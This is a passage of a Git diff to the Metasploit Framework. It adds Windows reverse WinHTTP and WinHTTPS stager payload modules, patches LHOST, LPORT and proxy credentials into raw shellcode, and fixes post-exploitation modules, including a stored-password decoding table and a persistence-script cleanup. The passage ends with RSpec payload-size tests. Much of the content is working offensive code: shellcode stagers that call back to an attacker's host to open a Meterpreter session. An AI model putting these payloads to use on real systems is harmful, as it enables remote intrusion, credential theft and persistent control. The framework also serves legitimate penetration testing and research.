datastore['PROXY_TYPE'] == 'SOCKS'
|
||||
# Authentication credentials have not been specified
|
||||
if datastore['PayloadProxyUser'].to_s == '' or
|
||||
datastore['PayloadProxyPass'].to_s == '' or
|
||||
datastore['PayloadProxyType'].to_s == 'SOCKS'
|
||||
|
||||
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
|
||||
#remove auth code
|
||||
|
||||
# Remove the authentication code
|
||||
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
|
||||
else
|
||||
username_size_diff = 14 - datastore['PROXY_USERNAME'].length
|
||||
password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
|
||||
jmp_offset = 16 + #PROXY_AUTH_START length
|
||||
15 + #PROXY_AUTH_STOP length
|
||||
username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
|
||||
password_size_diff # same with PROXY_PASSWORD
|
||||
#patch call offset
|
||||
username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length
|
||||
password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length
|
||||
jmp_offset =
|
||||
16 + # PROXY_AUTH_START length
|
||||
15 + # PROXY_AUTH_STOP length
|
||||
username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length"
|
||||
password_size_diff # Same with PayloadProxyPass
|
||||
|
||||
# Patch call offset
|
||||
username_loc = p.index("PROXY_USERNAME")
|
||||
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
|
||||
password_loc = p.index("PROXY_PASSWORD")
|
||||
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
|
||||
#remove markers & change login/pwd
|
||||
|
||||
# Remove markers & change login/password
|
||||
p = p.gsub("PROXY_AUTH_START","")
|
||||
p = p.gsub("PROXY_AUTH_STOP","")
|
||||
p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
|
||||
p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
|
||||
p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s)
|
||||
p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s)
|
||||
end
|
||||
#patch jmp dbl_get_server_host
|
||||
|
||||
# Patch jmp dbl_get_server_host
|
||||
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
|
||||
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
|
||||
#patch call Internetopen
|
||||
|
||||
# Patch call Internetopen
|
||||
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
|
||||
|
||||
# patch the LPORT
|
||||
lport = datastore['LPORT']
|
||||
|
||||
# Patch the LPORT
|
||||
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
|
||||
p[lportloc+1] = [lport.to_i].pack('V')[0]
|
||||
p[lportloc+2] = [lport.to_i].pack('V')[1]
|
||||
p[lportloc+3] = [lport.to_i].pack('V')[2]
|
||||
p[lportloc+4] = [lport.to_i].pack('V')[3]
|
||||
p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V')
|
||||
|
||||
# append LHOST and return payload
|
||||
|
||||
lhost = datastore['LHOST']
|
||||
p + lhost.to_s + "\x00"
|
||||
# Append LHOST and return payload
|
||||
p + datastore['LHOST'].to_s + "\x00"
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 325
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseWinHttp
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_winhttp"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTP Stager (WinHTTP)',
|
||||
'Description' => 'Tunnel communication over HTTP (WinHTTP)',
|
||||
'Author' =>
|
||||
[
|
||||
'hdm',
|
||||
'Borja Merino <bmerinofe[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http'))
|
||||
end
|
||||
end
|
|
@ -0,0 +1,39 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/reverse_winhttps'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 345
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseWinHttps
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_winhttps"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTPS Stager (WinHTTP)',
|
||||
'Description' => 'Tunnel communication over HTTP using SSL (WinHTTP)',
|
||||
'Author' =>
|
||||
[
|
||||
'hdm',
|
||||
'Borja Merino <bmerinofe[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockedi https'))
|
||||
end
|
||||
end
|
|
@ -85,7 +85,7 @@ module Metasploit3
|
|||
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
|
||||
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
|
||||
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
|
||||
"\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
|
||||
"\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
|
||||
"\x75\xCE\x58\x58\xC3" +
|
||||
"\xE8\xD7\xFE\xFF\xFF" #updated jump offset
|
||||
}
|
||||
|
|
|
@ -127,19 +127,18 @@ class Metasploit3 < Msf::Post
|
|||
"n" => "p" , "m" => "q" , "l" => "r" , "k" => "s" , "j" => "t" ,
|
||||
"i" => "u" , "h" => "v" , "P" => "w" , "Q" => "x" , "R" => "y" ,
|
||||
"o" => "z" , "p" => "A" , "q" => "B" , "r" => "C" , "t" => "D" ,
|
||||
"s" => "E" , "L" => "F" , "N" => "G" , "M" => "H" , "O" => "I" ,
|
||||
"N" => "J" , "J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" ,
|
||||
"y" => "O" , "w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" ,
|
||||
"A" => "T" , "B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" ,
|
||||
"F" => "Y" , "I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" ,
|
||||
"5" => "4" , "6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" ,
|
||||
"2" => "9" , "." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" ,
|
||||
"%" => "%" , "&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" ,
|
||||
"=" => "=" , "," => "?" , "!" => "!" , "$" => "$" , "-" => "-" ,
|
||||
"_" => "_" , "b" => ":" , "0" => "." , ";" => ";" , "1" => "," ,
|
||||
"\\" => "\\" , "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" ,
|
||||
"{" => "{" , "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" ,
|
||||
"`" => "`"
|
||||
"s" => "E" , "L" => "F" , "M" => "H" , "O" => "I" , "N" => "J" ,
|
||||
"J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" , "y" => "O" ,
|
||||
"w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" , "A" => "T" ,
|
||||
"B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" , "F" => "Y" ,
|
||||
"I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" , "5" => "4" ,
|
||||
"6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" , "2" => "9" ,
|
||||
"." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" , "%" => "%" ,
|
||||
"&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" , "=" => "=" ,
|
||||
"," => "?" , "!" => "!" , "$" => "$" , "-" => "-" , "_" => "_" ,
|
||||
"b" => ":" , "0" => "." , ";" => ";" , "1" => "," , "\\" => "\\" ,
|
||||
"a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" ,
|
||||
"}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`"
|
||||
}
|
||||
password=''
|
||||
for letter in encrypted_password.chomp.each_char
|
||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post
|
|||
# the correct program files folder.
|
||||
# We will just use an x64 only defined env variable to check.
|
||||
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
||||
progfilesx86 = prog_files_env['ProgramFiles(X86)']
|
||||
progfilesx86 = progfiles_env['ProgramFiles(X86)']
|
||||
if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
|
||||
progs = progfilesx86 # x64
|
||||
else
|
||||
|
|
|
@ -94,10 +94,12 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def read(size)
|
||||
vprint_debug("Reading #{size} bytes")
|
||||
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
|
||||
end
|
||||
|
||||
def seek(offset)
|
||||
vprint_debug("Seeking to offset #{offset}")
|
||||
high_offset = offset >> 32
|
||||
low_offset = offset & (2**33 - 1)
|
||||
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
|
||||
|
|
|
@ -123,8 +123,8 @@ def write_script_to_target(target_dir,vbs)
|
|||
fd.write(vbs)
|
||||
fd.close
|
||||
print_good("Persistent Script written to #{tempvbs}")
|
||||
tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators.
|
||||
file_local_write(@clean_up_rc, "rm #{tempvbs}\n")
|
||||
# Escape windows pathname separators.
|
||||
file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
|
||||
return tempvbs
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,34 @@
|
|||
require 'rex/post/meterpreter/extensions/stdapi/sys/registry'
|
||||
|
||||
RSpec.describe Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Registry do
|
||||
|
||||
describe '.type2str' do
|
||||
subject { described_class.type2str(type) }
|
||||
|
||||
context "with 'REG_BINARY'" do
|
||||
let(:type) { 'REG_BINARY' }
|
||||
it { should eq(3) }
|
||||
end
|
||||
context "with 'REG_DWORD'" do
|
||||
let(:type) { 'REG_DWORD' }
|
||||
it { should eq(4) }
|
||||
end
|
||||
context "with 'REG_EXPAND_SZ'" do
|
||||
let(:type) { 'REG_EXPAND_SZ' }
|
||||
it { should eq(2) }
|
||||
end
|
||||
context "with 'REG_MULTI_SZ'" do
|
||||
let(:type) { 'REG_MULTI_SZ' }
|
||||
it { should eq(7) }
|
||||
end
|
||||
context "with 'REG_NONE'" do
|
||||
let(:type) { 'REG_NONE' }
|
||||
it { should eq(0) }
|
||||
end
|
||||
context "with 'REG_SZ'" do
|
||||
let(:type) { 'REG_SZ' }
|
||||
it { should eq(1) }
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -3725,4 +3725,26 @@ describe 'modules/payloads', :content do
|
|||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter/reverse_winhttp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_winhttp',
|
||||
'stages/windows/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter/reverse_winhttp'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter/reverse_winhttps' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_winhttps',
|
||||
'stages/windows/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter/reverse_winhttps'
|
||||
end
|
||||
end
|
||||
|
|
|
@ -61,7 +61,7 @@ File.open('log/untested-payloads.log') { |f|
|
|||
|
||||
$stderr.puts
|
||||
$stderr.puts " context '#{reference_name}' do\n" \
|
||||
" it_should_behave_like 'payload can be instantiated',\n" \
|
||||
" it_should_behave_like 'payload cached size is consistent',\n" \
|
||||
" ancestor_reference_names: ["
|
||||
|
||||
ancestor_reference_names = options[:ancestor_reference_names]
|
||||
|
@ -74,6 +74,7 @@ File.open('log/untested-payloads.log') { |f|
|
|||
end
|
||||
|
||||
$stderr.puts " ],\n" \
|
||||
" dynamic_size: false,\n" \
|
||||
" modules_pathname: modules_pathname,\n" \
|
||||
" reference_name: '#{reference_name}'\n" \
|
||||
" end"
|
||||
|
|
Loading…
Reference in New Issue